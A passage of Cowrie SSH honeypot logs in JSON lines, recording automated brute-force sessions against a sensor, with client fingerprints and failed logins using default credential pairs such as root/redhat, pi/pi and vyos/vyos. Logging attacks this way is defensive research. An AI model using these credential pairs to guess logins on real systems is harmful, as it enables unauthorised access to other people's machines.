fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:50.557530Z","src_ip":"83.168.110.85","session":"7a7da0642f15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:51.294046Z","src_ip":"83.168.110.85","session":"7a7da0642f15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:52.417758Z","src_ip":"83.168.110.85","session":"7a7da0642f15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52210,"dst_ip":"159.203.135.109","dst_port":22,"session":"acff05b258b0","protocol":"ssh","message":"New connection: 83.168.110.85:52210 (159.203.135.109:22) [session: acff05b258b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:00.585198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:00.589622Z","src_ip":"83.168.110.85","session":"acff05b258b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:00.716402Z","src_ip":"83.168.110.85","session":"acff05b258b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:01.415589Z","src_ip":"83.168.110.85","session":"acff05b258b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:02.544805Z","src_ip":"83.168.110.85","session":"acff05b258b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50424,"dst_ip":"159.203.135.109","dst_port":22,"session":"049e97c99d0d","protocol":"ssh","message":"New connection: 83.168.110.85:50424 (159.203.135.109:22) [session: 049e97c99d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:11.337931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:11.449587Z","src_ip":"83.168.110.85","session":"049e97c99d0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:11.641631Z","src_ip":"83.168.110.85","session":"049e97c99d0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:12.183679Z","src_ip":"83.168.110.85","session":"049e97c99d0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:13.308573Z","src_ip":"83.168.110.85","session":"049e97c99d0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47184,"dst_ip":"159.203.135.109","dst_port":22,"session":"77c3fb1587c4","protocol":"ssh","message":"New connection: 83.168.110.85:47184 (159.203.135.109:22) [session: 77c3fb1587c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:22.081819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:22.090768Z","src_ip":"83.168.110.85","session":"77c3fb1587c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:22.213744Z","src_ip":"83.168.110.85","session":"77c3fb1587c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:22.576854Z","src_ip":"83.168.110.85","session":"77c3fb1587c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:23.702276Z","src_ip":"83.168.110.85","session":"77c3fb1587c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33790,"dst_ip":"159.203.135.109","dst_port":22,"session":"004c4e3eb74b","protocol":"ssh","message":"New connection: 83.168.110.85:33790 (159.203.135.109:22) [session: 004c4e3eb74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:32.445084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:32.450436Z","src_ip":"83.168.110.85","session":"004c4e3eb74b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:32.572138Z","src_ip":"83.168.110.85","session":"004c4e3eb74b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:32.937653Z","src_ip":"83.168.110.85","session":"004c4e3eb74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:34.066656Z","src_ip":"83.168.110.85","session":"004c4e3eb74b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45106,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2422e504c1b","protocol":"ssh","message":"New connection: 83.168.110.85:45106 (159.203.135.109:22) [session: d2422e504c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:42.800545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:42.805234Z","src_ip":"83.168.110.85","session":"d2422e504c1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:42.929678Z","src_ip":"83.168.110.85","session":"d2422e504c1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:43.296103Z","src_ip":"83.168.110.85","session":"d2422e504c1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:44.419173Z","src_ip":"83.168.110.85","session":"d2422e504c1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51988,"dst_ip":"159.203.135.109","dst_port":22,"session":"71172fa0a422","protocol":"ssh","message":"New connection: 83.168.110.85:51988 (159.203.135.109:22) [session: 71172fa0a422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:53.032122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:53.036035Z","src_ip":"83.168.110.85","session":"71172fa0a422","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:53.156334Z","src_ip":"83.168.110.85","session":"71172fa0a422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:53.523752Z","src_ip":"83.168.110.85","session":"71172fa0a422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:08:54.646858Z","src_ip":"83.168.110.85","session":"71172fa0a422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50394,"dst_ip":"159.203.135.109","dst_port":22,"session":"4503e792c347","protocol":"ssh","message":"New connection: 83.168.110.85:50394 (159.203.135.109:22) [session: 4503e792c347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:03.579187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:03.599536Z","src_ip":"83.168.110.85","session":"4503e792c347","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:03.728439Z","src_ip":"83.168.110.85","session":"4503e792c347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:04.098284Z","src_ip":"83.168.110.85","session":"4503e792c347","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:05.226766Z","src_ip":"83.168.110.85","session":"4503e792c347","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":34424,"dst_ip":"159.203.135.109","dst_port":22,"session":"493d9ff0ca24","protocol":"ssh","message":"New connection: 193.32.162.151:34424 (159.203.135.109:22) [session: 493d9ff0ca24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:12.127421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:12.133791Z","src_ip":"193.32.162.151","session":"493d9ff0ca24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:12.238862Z","src_ip":"193.32.162.151","session":"493d9ff0ca24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:12.559007Z","src_ip":"193.32.162.151","session":"493d9ff0ca24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:13.670481Z","src_ip":"193.32.162.151","session":"493d9ff0ca24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38294,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e1e9de847a6","protocol":"ssh","message":"New connection: 83.168.110.85:38294 (159.203.135.109:22) [session: 7e1e9de847a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:14.041672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:14.048269Z","src_ip":"83.168.110.85","session":"7e1e9de847a6","protocol":"ssh"}
